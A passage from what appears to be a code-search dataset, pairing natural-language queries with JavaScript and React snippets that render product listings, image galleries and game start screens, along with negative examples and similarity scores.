    \\n )\\n });\\n return (\\n \\n {\\n ReactGA.event({\\n category: \\\"Result Card Action\\\",\\n action: 'set brand',\\n label: brand\\n });\\n this.props.addBrandFilter(brand, false);\\n }}\\n >\\n {brand}\\n
    \\n {prodTagList}\\n
    \\n\\n )\\n };\\n\\n const priceStyle = sale ? {\\n textDecoration: 'line-through',\\n fontWeight: 'bold',\\n display: 'inline-block'\\n } : {\\n textDecoration: 'none',\\n fontWeight: 'bold',\\n };\\n\\n return (\\n \\n \\n \\n {(this.state.showExplore || this.state.device === 'desktop') && (\\n \\n )}\\n {this.state.device === 'mobile' && (\\n \\n {\\n this.setState({\\n showExplore: true\\n })\\n }}\\n />\\n \\n )}\\n
    \\n {this.state.showTagList && (\\n \\n )}\\n\\n \\n \\n \\n \\n {brand}\\n \\n {name}

    \\n
    \\n
    \\n £{price}\\n
    \\n {(sale) && (\\n
    \\n £{saleprice}\\n
    \\n )}\\n
    \\n
    \\n \\n )\\n }\",\n \"render() {\\n image(this.g, 0, 0, this.w, this.h);\\n }\",\n \"render() {\\n const imgURL = this.props.item.img;\\n return (\\n
    \\n
    \\n \\n \\n {this.state.hasDescription ? (\\n this.buildDescriptionSpan()}\\n onMouseOut={() => this.removeDescriptionSpan()}\\n >\\n !\\n \\n ) : null}\\n
    \\n
    \\n
    \\n \\n {this.buildTableHeaders()}\\n \\n \\n \\n \\n \\n \\n
    \\n \\n );\\n }\",\n \"function render(id, title, imgUrl, height, width, prev, next) {\\n var imgContainer = \\\"
    \\\";\\n document.getElementById(\\\"container\\\").innerHTML += imgContainer;\\n }\",\n \"renderImage() {\\n\\n const imageContainer = document.getElementById(\\\"image-container\\\")\\n const div = document.createElement('div')\\n div.className = 'container-fluid'\\n imageContainer.append(div)\\n const img = document.createElement('img')\\n img.setAttribute('id', 'img')\\n img.className = 'img-fluid'\\n img.src = `${this.url}`\\n\\n const p1 = document.createElement('p1')\\n p1.setAttribute('id', 'p1')\\n\\n p1.innerText = `${this.caption}`\\n div.append(img, p1)\\n\\n }\",\n \"render(){\\n return(\\n
    \\n \\\"\\\"\\n
    \\n )\\n }\",\n \"renderList() { \\n \\n return this.props.products.map(product => { \\n \\n return (\\n
    \\n
    \\n
    {product.product_name}
    \\n
    {product.description}
    \\n
    {product.price}
    \\n\\n
    \\n\\n
    \\n \\n
    \\n )\\n\\n }); \\n \\n }\",\n \"render() {\\n ctx.drawImage(Resources.get(this.image), this.x, this.y)\\n }\",\n \"function Render(image) {\\n selectedImage = image;\\n //setup canvas for paper API\\n setupPaperCanvas();\\n //setup and fill image\\n setupPaperImage();\\n //setup and fill texts\\n setupPaperTexts();\\n}\",\n \"function Product(props){\\n return(\\n
    \\n \\n\\t
    {props.name}

    {props.amount}
    \\n
    \\n );\\n}\",\n \"render() {\\n return (\\n
    \\n \\n \\n \\n
    \\n );\\n }\",\n \"display() {\\n if (this.isDrank === false) {\\n //Display\\n image(this.image, this.x, this.y, this.size, this.size);\\n }\\n }\",\n \"render() {\\n\\t\\treturn (\\n\\t\\t\\t
    \\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t
    Name
    \\n\\t\\t\\t\\t\\t
    {this.props.name}
    \\n\\t\\t\\t\\t\\t
    Brand
    \\n\\t\\t\\t\\t\\t
    {this.props.brand}
    \\n\\t\\t\\t\\t\\t
    Category
    \\n\\t\\t\\t\\t\\t
    {this.props.category}
    \\n\\t\\t\\t\\t\\t
    Price
    \\n\\t\\t\\t\\t\\t
    {this.props.price}
    \\n\\t\\t\\t\\t\\t}>\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t
    \\n\\t\\t\\t\\tProduct Link\\n\\t\\t\\t
    \\n\\t\\t);\\n\\t}\",\n \"render() {\\n const { name, price, image_url, id } = this.props.data;\\n return (\\n \\n \\n \\n {name}\\n \\n {`Price: ${price}`}\\n {this.props.renderQuantity ?\\n

    Quantity: {this.props.data.quantity}

    :\\n null\\n }\\n
    \\n \\n \\n
    \\n
    \\n );\\n }\",\n \"function displayProduct(item){\\r\\n if(item.id == 1\\r\\n || item.id == 2 \\r\\n || item.id == 3\\r\\n || item.id == 4\\r\\n || item.id == 5\\r\\n || item.id == 6){\\r\\n return `\\r\\n
    \\r\\n \\r\\n \\r\\n
    \\r\\n

    ${item.title}

    \\r\\n
    $${item.price}
    \\r\\n
    \\r\\n\\r\\n

    ${item.text}

    \\r\\n\\r\\n
    \\r\\n
    Rating: ${item.rating} out of 5
    \\r\\n Reviews (${item.reviews})\\r\\n
    \\r\\n
    \\r\\n `\\r\\n }\\r\\n}\",\n \"render(){\\nconst {container,titleConatiner,title,body,productContainer,productImage,productName,productPrice} = styles;\\n\\n\\n//Product Images\\n return(\\n\\n\\nTop Products \\n\\n\\n \\n\\n {this.props.topProducts.map(e => (\\n this.gotoDetails(e)} key={e.id} >\\n\\n \\n\\n {e.name.toUpperCase()}\\n\\n {e.price}$\\n \\n ))}\\n\\n\\n\\n\\n\\n );\\n}\",\n \"render() {\\n push();\\n translate(this.pos.x + this.xOff, this.pos.y);\\n rotate(this.angle);\\n imageMode(CENTER);\\n image(this.design, 0, 0, this.r, this.r);\\n pop();\\n }\",\n \"show() {\\n // applyTextTheme\\n image(this.image, this.x, this.y, this.width, this.height)\\n }\",\n \"render() {\\n return (\\n
    \\n \\n
    \\n )\\n }\",\n \"function imageDisplay() {\\n var color = imageColor();\\n var captionColor = color;\\n captionColor = color.replace(/_/g, \\\" \\\").replace('solid', '');\\n var captionProduct = name.replace('
    ', '&nbsp;');\\n var caption = (captionColor+\\\" \\\"+captionProduct).replace(/(^|\\\\s)\\\\S/g, function(match) {\\n return match.toUpperCase();\\n });\\n var img_source = \\\"../../images/products/\\\"+img+color+\\\".gif\\\";\\n var lightbox_img = \\\"../../images/products/large/\\\"+img+color+\\\".gif\\\";\\n var lightbox_img_back = \\\"../../images/products/back/large/\\\"+img+color+\\\".gif\\\";\\n $('#product_img_front').attr('src', img_source);\\n $('#product_img_front_large').attr('src', lightbox_img);\\n $('#product_img_back_large').attr('src', lightbox_img_back);\\n $('#product_img_front').parent().attr('href', lightbox_img).attr('data-lightbox', img+color).attr('title', caption);\\n $('#product_img_back').attr('href', lightbox_img_back).attr('data-lightbox', img+color).attr('title', caption+' (Back)');\\n}\",\n \"renderGallery() {\\n\\t\\tconst {data, container, currentPhoto} = this.props,\\n\\t\\t\\timageWrapper = this.createElement('div', 'gallery__general-image'),\\n\\t\\t\\timage = this.createElement('img', 'gallery__photo');\\n\\t\\tcontainer.innerText = '';\\n\\n\\t\\timageWrapper.append(image);\\n\\t\\tcontainer.append(imageWrapper, this.renderPhotoList());\\n\\t\\tthis.changeGeneralPhoto(currentPhoto);\\n\\t}\",\n \"renderImage( img, i ) {\\n\\t\\tconst {\\n\\t\\t\\timageFilter,\\n\\t\\t\\timages,\\n\\t\\t\\tisSave,\\n\\t\\t\\tlinkTo,\\n\\t\\t\\tlayoutStyle,\\n\\t\\t\\tonRemoveImage,\\n\\t\\t\\tonSelectImage,\\n\\t\\t\\tselectedImage,\\n\\t\\t\\tsetImageAttributes,\\n\\t\\t} = this.props;\\n\\n\\t\\t/* translators: %1$d is the order number of the image, %2$d is the total number of images. */\\n\\t\\tconst ariaLabel = sprintf(\\n\\t\\t\\t__( 'image %1$d of %2$d in gallery', 'jetpack' ),\\n\\t\\t\\ti + 1,\\n\\t\\t\\timages.length\\n\\t\\t);\\n\\t\\tconst Image = isSave ? GalleryImageSave : GalleryImageEdit;\\n\\n\\t\\tconst { src, srcSet } = photonizedImgProps( img, { layoutStyle } );\\n\\n\\t\\treturn (\\n\\t\\t\\t\\n\\t\\t);\\n\\t}\",\n \"function updateProductImageHeight() {\\n let productImageWidth = $('.product-image').width();\\n $('.product-image').css({'height': productImageWidth + 'px'});\\n }\",\n \"render(){\\n return (\\n
    \\n . \\n
    \\n \\n \\n
    \\n
    \\n );\\n }\",\n \"render() {\\n return (\\n
    \\n
    \\n

    Products

    \\n\\n \\n
    \\n
    \\n );\\n }\",\n \"render() {\\n return (\\n\\t\\t\\n\\t\\t{this.state.products.map((item, i) => \\n\\t\\t\\t\\n\\t\\t\\t\\t{ item.title }\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t $ { item.variants[0].price * 0.75 }\\n\\t\\t\\t\\t\\n \\n \\n
    \\n
    \\n { currentImage + 1 } of { images.length }\\n
    \\n
    {image.title}
    \\n
    \\n \\n )\\n }\",\n \"function showProduct() {\\n const title = el('products').value;\\n const product = products[title];\\n if (product) {\\n el('title').innerHTML = title;\\n el('price').innerHTML = 'Price: ' + currencyFormatter.format(product.price);\\n el('image').src = product.image;\\n }\\n el('quantity-container').style.display = product ? 'block' : 'none';\\n}\",\n \"renderLayout() {\\n\\t let self = this;\\t \\n\\t let photoListWrapper = document.querySelector('#photos');\\t \\n imagesLoaded(photoListWrapper, function() { \\t \\n\\t\\t\\tself.msnry = new Masonry( photoListWrapper, {\\n\\t\\t\\t\\titemSelector: '.photo'\\n\\t\\t\\t}); \\n\\t\\t\\t[...document.querySelectorAll('#photos .photo')].forEach(el => el.classList.add('in-view'));\\n });\\n }\",\n \"render () {\\n let {src, alt, ...props} = this.props;\\n src = src?.src || src; // image passed through import will return an object\\n return {alt}/\\n }\",\n \"render() {\\n return (\\n \\n );\\n }\",\n \"function Home() {\\n return (\\n
    \\n
    \\n \\n\\n
    \\n \\n \\n
    \\n
    \\n \\n \\n
    \\n \\n\\n
    \\n \\n \\n \\n
    \\n \\n\\n
    \\n \\n \\n
    \\n
    \\n \\n \\n
    \\n
    \\n
    \\n );\\n}\",\n \"render() {\\n\\n return (\\n \\n
    \\n \\n
    \\n
    \\n );\\n }\",\n \"render() {\\n const { products, page, productInfo} = this.state; //desistruturando\\n //aonde era this.state.products.map, fica agr apenas products.map, vale o mesmo para os demais\\n\\n //a key no h2 e passada, pq o react pede que tenha uma key unica pra cada item da iteracao\\n return (\\n
    \\n
    \\n

    Sua Lista de Produtos:

    {/*alt='' e por questao de acessibilidade, ele fornece o que e aquela imagem, para deficientes visuais ou navegacao apenas de texto*/}\\n Imagem Novo Produto \\n
    \\n {//aqui codigo javascript, apos \\\"=> (\\\" volta a ser html\\n products.map(product => (\\n
    \\n {product.title}\\n

    {product.description}

    \\n Acessar\\n
    {/*alt='' e por questao de acessibilidade, ele fornece o que e aquela imagem, para deficientes visuais ou navegacao apenas de texto*/}\\n Imagem Editar Produto\\n \\n
    \\n
    \\n ))}\\n
    \\n \\n \\n
    \\n
    \\n\\n \\n )\\n }\",\n \"render() {\\n return (\\n
    \\n
    \\n

    Remember All

    \\n
    \\n {/*
    */}\\n {/* \\\"Goldfish\\\"; */}\\n \\n {/* */}\\n
    \\n //
    \\n\\n ) }\",\n \"render() {\\r\\n return html`\\r\\n ${SharedStyles}\\r\\n \\r\\n\\r\\n
    \\r\\n
    \\r\\n \\r\\n
    \\r\\n \\r\\n
    \\r\\n
    ${this.item ? this.item.name : \\\"\\\"}
    \\r\\n
    ${this._computeIngredients(this.item)}
    \\r\\n
    ${this.item ? this.item.description : \\\"\\\"}
    \\r\\n\\r\\n
    \\r\\n
    ${this.item ? this.item.price : \\\"\\\"}
    \\r\\n this._onAddToCartClick(this.item, this.quantity)}\\\" raised>add to cart\\r\\n
    \\r\\n
    \\r\\n
    \\r\\n \\r\\n `;\\r\\n }\",\n \"function displayProduct(product) {\\n document.getElementById('product').innerHTML = renderHTMLProduct(product, 'single');\\n}\",\n \"render() {\\n return(\\n \\n

    \\n {this.props.title}\\n

    \\n
    \\n \\\"\\\"\\n
    \\n

    \\n \\n
    \\n );\\n }\",\n \"render() {\\n console.log('rerendering product page');\\n return (\\n
    \\n
    \\n
    \\n
    &#128296;
    \\n
    \\n
    \\n
    \\n
    \\n
    \\n );\\n }\",\n \"render(){\\n\\n /*\\n * FIXME: get jpegs for product images\\n */\\n\\n return (\\n \\n \\n {this.state.categories.map(function(c, i){\\n return (\\n \\n \\n \\n {c.name}\\n \\n \\n )\\n })}\\n \\n )\\n }\",\n \"function Product({\\n product\\n}) {\\n var _product$photo, _product$photo$image;\\n\\n return /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\\\"div\\\", {\\n className: (_styles_ItemStyles_module_scss__WEBPACK_IMPORTED_MODULE_5___default().root),\\n children: [/*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\\\"img\\\", {\\n // className={classesItemStyles.itemImg}\\n src: product === null || product === void 0 ? void 0 : (_product$photo = product.photo) === null || _product$photo === void 0 ? void 0 : (_product$photo$image = _product$photo.image) === null || _product$photo$image === void 0 ? void 0 : _product$photo$image.publicUrlTransformed,\\n alt: product.name\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 14,\\n columnNumber: 7\\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\\\"div\\\", {\\n className: (_styles_Title_module_css__WEBPACK_IMPORTED_MODULE_6___default().title),\\n children: /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)((next_link__WEBPACK_IMPORTED_MODULE_1___default()), {\\n href: `/product/${product.id}`,\\n children: product.name\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 20,\\n columnNumber: 9\\n }, this)\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 19,\\n columnNumber: 7\\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\\\"div\\\", {\\n className: (_styles_PriceTag_module_css__WEBPACK_IMPORTED_MODULE_7___default().priceTag),\\n children: (0,_lib_util_formatMoney__WEBPACK_IMPORTED_MODULE_2__.default)(product.price)\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 22,\\n columnNumber: 7\\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\\\"p\\\", {\\n children: product.description\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 25,\\n columnNumber: 7\\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(\\\"div\\\", {\\n className: (_styles_ItemStyles_module_scss__WEBPACK_IMPORTED_MODULE_5___default().buttonList),\\n children: [/*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)((next_link__WEBPACK_IMPORTED_MODULE_1___default()), {\\n href: {\\n pathname: \\\"update\\\",\\n query: {\\n id: product.id\\n }\\n },\\n children: \\\"Edit\\\"\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 27,\\n columnNumber: 9\\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(_DeleteProduct__WEBPACK_IMPORTED_MODULE_3__.default, {\\n id: product.id,\\n children: \\\"Delete\\\"\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 30,\\n columnNumber: 9\\n }, this), /*#__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxDEV)(_AddToCart__WEBPACK_IMPORTED_MODULE_4__.default, {\\n id: product.id\\n }, void 0, false, {\\n fileName: _jsxFileName,\\n lineNumber: 31,\\n columnNumber: 9\\n }, this)]\\n }, void 0, true, {\\n fileName: _jsxFileName,\\n lineNumber: 26,\\n columnNumber: 7\\n }, this)]\\n }, void 0, true, {\\n fileName: _jsxFileName,\\n lineNumber: 13,\\n columnNumber: 5\\n }, this);\\n}\",\n \"_renderThumbnail($$) {\\n let node = this.props.node\\n // TODO: Make this work with tables as well\\n let contentNode = node.find('graphic')\\n let el = $$('div').addClass('se-thumbnail')\\n if (contentNode) {\\n el.append(\\n $$(this.getComponent(contentNode.type), {\\n node: contentNode,\\n disabled: this.props.disabled\\n })\\n )\\n } else {\\n el.append('No thumb')\\n }\\n return el\\n }\",\n \"display() {\\n this.move();\\n imageMode(CENTER);\\n image(this.axeImg, this.x + bgLeft, this.y, this.w, this.h);\\n }\",\n \"function renderProducts() {\\n const promotionalProductsPart = document.querySelector(\\\".promotion-list\\\");\\n let html = \\\"\\\";\\n for (const product of productsList) {\\n if (product.category === \\\"promotionalProducts\\\") {\\n html += ``;\\n }\\n }\\n promotionalProductsPart.innerHTML = html;\\n}\",\n \"function render() {\\n var state = store.getState()\\n document.getElementById('value').innerHTML = state.count.result;\\n document.getElementById('value2').innerHTML = state.sum;\\n\\n if(state.count.loading){\\n document.getElementById('status').innerHTML = \\\"is loading...\\\";\\n }else{\\n document.getElementById('status').innerHTML = \\\"loaded\\\";\\n }\\n // image\\n document.getElementById('imagesStatus').innerHTML = state.images.loading;\\n if(state.images.loading ==\\\"loading…\\\"){\\n $('#imagesList').text(\\\"\\\");\\n }\\n else if(state.images.loading ==\\\"loaded\\\"){\\n for(var i=0; i< state.images.data.length; i++){\\n $('#imagesList').append(\\n \\\"\\\");\\n }\\n }\\n\\n}\",\n \"render() {\\n // eslint-disable-next-line no-unused-vars\\n let baseStyle = {};\\n // eslint-disable-next-line no-unused-vars\\n let layoutFlowStyle = {};\\n \\n const style_background = {\\n width: '100%',\\n height: '100%',\\n };\\n const style_background_outer = {\\n backgroundColor: '#f6f6f6',\\n pointerEvents: 'none',\\n };\\n const style_image = {\\n backgroundImage: 'url('+img_elImage+')',\\n backgroundRepeat: 'no-repeat',\\n backgroundPosition: '50% 50%',\\n backgroundSize: 'cover',\\n pointerEvents: 'none',\\n };\\n const style_image2 = {\\n backgroundImage: 'url('+img_elImage2+')',\\n backgroundRepeat: 'no-repeat',\\n backgroundPosition: '50% 50%',\\n backgroundSize: 'cover',\\n };\\n const style_image2_outer = {\\n pointerEvents: 'none',\\n };\\n \\n return (\\n
    \\n
    \\n
    \\n
    \\n \\n
    \\n \\n
    \\n
    \\n
    \\n
    \\n
    \\n \\n
    \\n \\n
    \\n
    \\n )\\n }\",\n \"function printProducts(){\\n for (var i = 0; i <= products.length; i++){ \\n if (i < products.length-1){\\n var clone = productDiv.cloneNode(true);\\n productDiv.parentNode.insertBefore(clone, productDiv);\\n };\\n productDiv.style.display = \\\"block\\\";\\n productName.innerHTML = products[i].name;\\n productDescription.innerHTML = products[i].description;\\n price.innerHTML = products[i].price;\\n image.setAttribute(\\\"src\\\", products[i].url); \\n \\n }\\n \\n }\",\n \"render() {\\n\\n return (\\n
    \\n \\n
    \\n );\\n }\",\n \"render() {\\n console.log(\\\"Rendering ArtBlock...\\\");\\n let paintings = this.state.paintings;\\n const ArtBlocks = [];\\n for (var i = 0; i < paintings.length; i++) {\\n ArtBlocks.push(\\n {Paintings[i].name}\\n\\n )\\n }\\n return (\\n
    \\n
    Score: {this.state.currentScore} | High Score: {this.state.highScore}
    \\n
    \\n {Modal}\\n
    \\n
    \\n {ArtBlocks}\\n
    \\n
    \\n )\\n }\",\n \"function renderGallery(image) {\\n let gallery = document.getElementById('gallery');\\n if (gallery != null)\\n updateGallery(gallery, image);\\n else\\n createGallery(image);\\n }\",\n \"renderProduct(product) {\\n return (
    \\n {product.name}\\n
    );\\n }\",\n \"function render() {\\n\\n\\t\\t\\t}\",\n \"function renderImg() \\n{\\n leftIndex = randomImage();\\n midIndex = randomImage();\\n rightIndex = randomImage();\\n\\n randControl();\\n while (leftIndex === rightIndex || leftIndex === midIndex) \\n {\\n leftIndex = randomImage();\\n }\\n while(rightIndex === midIndex)\\n {\\n rightIndex = randomImage();\\n }\\n randControl();\\n usedImg.splice(0, usedImg.length);\\n\\n leftImg.setAttribute('src', products[leftIndex].productImg);\\n midImg.setAttribute('src', products[midIndex].productImg);\\n rightImg.setAttribute('src', products[rightIndex].productImg);\\n products[leftIndex].views++;\\n products[midIndex].views++;\\n products[rightIndex].views++;\\n\\n usedImg.push(leftIndex);\\n usedImg.push(midIndex);\\n usedImg.push(rightIndex);\\n}\",\n \"render () {\\n return (\\n
    \\n
    \\n \\n
    \\n
    \\n this.onSearchSubmit(term)}/>\\n \\n
    \\n
    \\n );\\n }\",\n \"function ItemImage(props) {\\n return \\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.68119514","0.6711578","0.6438905","0.6103812","0.60803235","0.6068057","0.6055299","0.6051518","0.60464317","0.6000089","0.5971422","0.5937545","0.5921839","0.5915895","0.5908995","0.5892216","0.5871162","0.5831915","0.5831691","0.5806436","0.5787973","0.57657754","0.5723944","0.57129925","0.5702852","0.5682741","0.5650505","0.56426615","0.5623197","0.56102717","0.5601003","0.5577978","0.5572669","0.5572513","0.5555633","0.5544983","0.55292237","0.5525613","0.5514523","0.54971385","0.54679453","0.5461438","0.5459829","0.5453033","0.5450901","0.54484975","0.54419714","0.54289126","0.5426699","0.5410413","0.5410205","0.5402377","0.53943425","0.53930783","0.53771937","0.537474","0.5373132","0.5360696","0.53596926","0.5355597","0.53539884","0.5352578","0.534132","0.53304535","0.5323526","0.5321553","0.5316722","0.53084445","0.53056943","0.5296578","0.529359","0.5290114","0.5285622","0.5281973","0.52797747","0.5279625","0.52736443","0.5272152","0.52692217","0.52649915","0.52584916","0.5240445","0.5238457","0.5234438","0.5228368","0.52258617","0.52176255","0.5216038","0.5215461","0.52150077","0.5201484","0.5188266","0.51865","0.5186379","0.5185892","0.51790893","0.5173505","0.5166844","0.51662284","0.5164953"],"string":"[\n \"0.68119514\",\n \"0.6711578\",\n \"0.6438905\",\n \"0.6103812\",\n \"0.60803235\",\n \"0.6068057\",\n \"0.6055299\",\n \"0.6051518\",\n \"0.60464317\",\n \"0.6000089\",\n \"0.5971422\",\n \"0.5937545\",\n \"0.5921839\",\n \"0.5915895\",\n \"0.5908995\",\n \"0.5892216\",\n \"0.5871162\",\n \"0.5831915\",\n \"0.5831691\",\n \"0.5806436\",\n \"0.5787973\",\n \"0.57657754\",\n \"0.5723944\",\n \"0.57129925\",\n \"0.5702852\",\n \"0.5682741\",\n \"0.5650505\",\n \"0.56426615\",\n \"0.5623197\",\n \"0.56102717\",\n \"0.5601003\",\n \"0.5577978\",\n \"0.5572669\",\n \"0.5572513\",\n \"0.5555633\",\n \"0.5544983\",\n \"0.55292237\",\n \"0.5525613\",\n \"0.5514523\",\n \"0.54971385\",\n \"0.54679453\",\n \"0.5461438\",\n \"0.5459829\",\n \"0.5453033\",\n \"0.5450901\",\n \"0.54484975\",\n \"0.54419714\",\n \"0.54289126\",\n \"0.5426699\",\n \"0.5410413\",\n \"0.5410205\",\n \"0.5402377\",\n \"0.53943425\",\n \"0.53930783\",\n \"0.53771937\",\n \"0.537474\",\n \"0.5373132\",\n \"0.5360696\",\n \"0.53596926\",\n \"0.5355597\",\n \"0.53539884\",\n \"0.5352578\",\n \"0.534132\",\n \"0.53304535\",\n \"0.5323526\",\n \"0.5321553\",\n \"0.5316722\",\n \"0.53084445\",\n \"0.53056943\",\n \"0.5296578\",\n \"0.529359\",\n \"0.5290114\",\n \"0.5285622\",\n \"0.5281973\",\n \"0.52797747\",\n \"0.5279625\",\n \"0.52736443\",\n \"0.5272152\",\n \"0.52692217\",\n \"0.52649915\",\n \"0.52584916\",\n \"0.5240445\",\n \"0.5238457\",\n \"0.5234438\",\n \"0.5228368\",\n \"0.52258617\",\n \"0.52176255\",\n \"0.5216038\",\n \"0.5215461\",\n \"0.52150077\",\n \"0.5201484\",\n \"0.5188266\",\n \"0.51865\",\n \"0.5186379\",\n \"0.5185892\",\n \"0.51790893\",\n \"0.5173505\",\n \"0.5166844\",\n \"0.51662284\",\n \"0.5164953\"\n]"},"document_score":{"kind":"string","value":"0.5530093"},"document_rank":{"kind":"string","value":"36"}}},{"rowIdx":59,"cells":{"query":{"kind":"string","value":"Displays users name and a button, starts game when clicked."},"document":{"kind":"string","value":"function introWelcome() {\n title.innerText = \"Welcome, \" + username;\n subTitle.innerText = \"\";\n\n firstButton.classList.remove(\"hidden\");\n firstButton.innerText = \"Click to start!\"\n firstButton.onclick = function() {\n startFunction();\n }\n\n userInput.classList.add(\"hidden\");\n submitButton.classList.add(\"hidden\");\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function showGamificationButton(names, urls) {\n\n //////////////////////////\n // REMOVE OLD BUTTONS\n /////////////////////////\n const old_gameStartButton = document.getElementById('start_game_button'),\n old_gameButton = document.getElementById('guess_game_button');\n if (old_gameStartButton !== null && old_gameButton !== null) {\n removeElements([old_gameStartButton]);\n removeElements([old_gameButton]);\n }\n \n // create a button\n const gameButton = document.createElement('div'),\n gameStartButton = document.createElement('div');\n \n gameStartButton.innerHTML = 'START';\n gameStartButton.id = 'start_game_button';\n entry_info.parentNode.insertBefore(gameStartButton, entry_info.nextSibling);\n\n // assign an id to it\n gameButton.id = 'guess_game_button';\n\n // insert text\n gameButton.innerHTML = 'Guess The Plants';\n\n // append it next to the pages div tag as a next sibling element\n pages.parentNode.insertBefore(gameButton, pages.nextSibling);\n\n // add a mouseup event listener to the buttons\n gameButton.addEventListener('mouseup', () => {\n \n showGameEntry(urls);\n });\n gameStartButton.addEventListener('mouseup', () => {\n\n // if the text field for username input is not empty\n if (username.value !== '') {\n\n // hide the game start button\n gameStartButton.style.visibility = 'hidden';\n \n // set the container to be fullscreen\n game_entry.style.setProperty('transform', 'translate(0, 0)', 'important');\n game_entry.style.setProperty('width', '100%', 'important');\n game_entry.style.setProperty('height', '100%', 'important');\n\n turns++;\n init(names, urls);\n }\n });\n}","function renderGame (){\n\n //setup new instructions\n var newInst = $(\"

    \");\n newInst.text(\"Welcome back, \"+username);\n newInst.addClass(\"col s12 center-align\");\n $(\"#instructions\").html(newInst);\n \n $(\"#game\").show();\n\n $(\"#yourName\").text(username);\n\n\n if(oppChoice){\n $(\"#opponentChoice\").css(\"opacity\", \"1\");\n } \n // if you haven't chosen, set instructions to say choose\n if (yourChoice){\n $(\"#yourChoice\").css(\"background-image\", \"url('assets/images/\"+yourChoice+\".png')\");\n $(\"#yourChoice\").css(\"opacity\", \"1\");\n \n // if you haven't chosen, show buttons \n } else {\n renderButtons();\n }\n\n updateStatus();\n}","function useNewButton() {\r\n createUser();\r\n startPage()\r\n}","function startGame(playerCount) {\r\n\t\r\n\tGC.initalizeGame(playerCount);\r\n\t\r\n\tUI.setConsoleHTML(\"The game is ready to begin! There will be a total of \" + GC.playerCount + \" players.
    Click to begin!\");\r\n\tUI.clearControls();\r\n\tUI.addControl(\"begin\",\"button\",\"Begin\",\"takeTurn()\");\r\n\t\r\n\tGC.drawPlayersOnBoard();\r\n}","function startGame() {\n\tvar userName = $(\"#enterName\").val();\n\t$(\"#name\").text(userName);\n\t$(\"#startScreen\").addClass('hide');\n\tif($(\"#enterName\").val() != \"\") {\n\t\tsetQuestion();\n\t} else {\n\t\t$(\"#hint\").removeClass('initialHide');\n\t\t$(\"#hint\").text(\"Please enter your username!\")\n\t}\n\n}","function startGame(){\r\n var UserData;\r\n var userName = document.getElementById('nameEntry').value\r\n UserData = checkCookie(userName);\r\n updateTables(UserData);\r\n $('#Load').html(\"\");\r\n $('#saveGame').prop('disabled',false);\r\n enableTravel();\r\n}","function startGame() {\n $(\".landing-menu\").hide();\n $(\".game-section\").show();\n $(\".userButtons\").show();\n }","display(){\r\n var title = createElement('h1')\r\n title.html(\"car racing game!\")\r\n title.position(380,100)\r\n\r\n var input = createInput(\"Name\")\r\n var button = createButton(\"Play\")\r\n var greeting = createElement('h2')\r\n input.position(380,240)\r\n button.position(440,300)\r\n//when player pressed over the button player count is increased and updated\r\n//button and input is hidden\r\n//greeting message to the player is displayed\r\n\r\n button.mousePressed(function(){\r\n input.hide()\r\n button.hide()\r\n //.value()- gives the value that was passed inside the input\r\n var name = input.value()\r\n\r\n playerCount+=1\r\n player.update(name)\r\n player.updateCount(playerCount)\r\n\r\n greeting.html(\"hellow \"+name)\r\n greeting.position(380,250)\r\n\r\n })\r\n\r\n }","function showTheGame () {\n\t$(\".game\").show();\n\t$(\".startNowButton\").hide();\n\trun();\n}","startGame() {\n document.getElementById('homemenu-interface').style.display = 'none';\n document.getElementById('character-selection-interface').style.display = 'block';\n this.interface.displayCharacterChoice();\n this.characterChoice();\n }","function onClickGameName() {\n stopGame();\n\n socket.send({action: \"exit_game\"});\n $(\"#game\").hide(); \n $(\"#game_choose\").show(); \n\n initHome();\n }","function startGame() {\n\n $(\"#questionPage\").hide();\n \n $(\"#start\").show();\n\n var startButton = $(\"\").click(hostNewGame);\n}","function startGame(){\n document.querySelector('.menu').style.display = \"none\";\n addClicks();\n score.querySelector('h2').innerText = ('Game Ready. Player 1 turn.');\n}","function startGame() {\n gameState.active = true;\n resetBoard();\n gameState.resetBoard();\n\n var activePlayer = rollForTurn();\n \n // Game has started: enable/disable control buttons accordingly.\n btnDisable(document.getElementById('btnStart'));\n btnEnable(document.getElementById('btnStop'));\n\n var showPlayer = document.getElementById('showPlayer');\n showPlayer.innerHTML = activePlayer;\n showPlayer.style.color = (activePlayer === \"Player 1\") ? \"blue\" : \"red\";\n // The above line, doing anything more would require a pretty sizeable refactor.\n // I guess I could name \"Player 1\" with a constant.\n}","function showLobby() {\n battlefield.innerHTML = '';\n gamesList.classList.remove('hidden');\n updateBtn(actionBtn, ACTION_BTN.CREATE_GAME);\n resetHeader();\n }","function getName() {\n applicationState.user = userName.value;\n document.getElementById(\n \"userinfo\"\n ).innerHTML = `welcome ${applicationState.user}`;\n 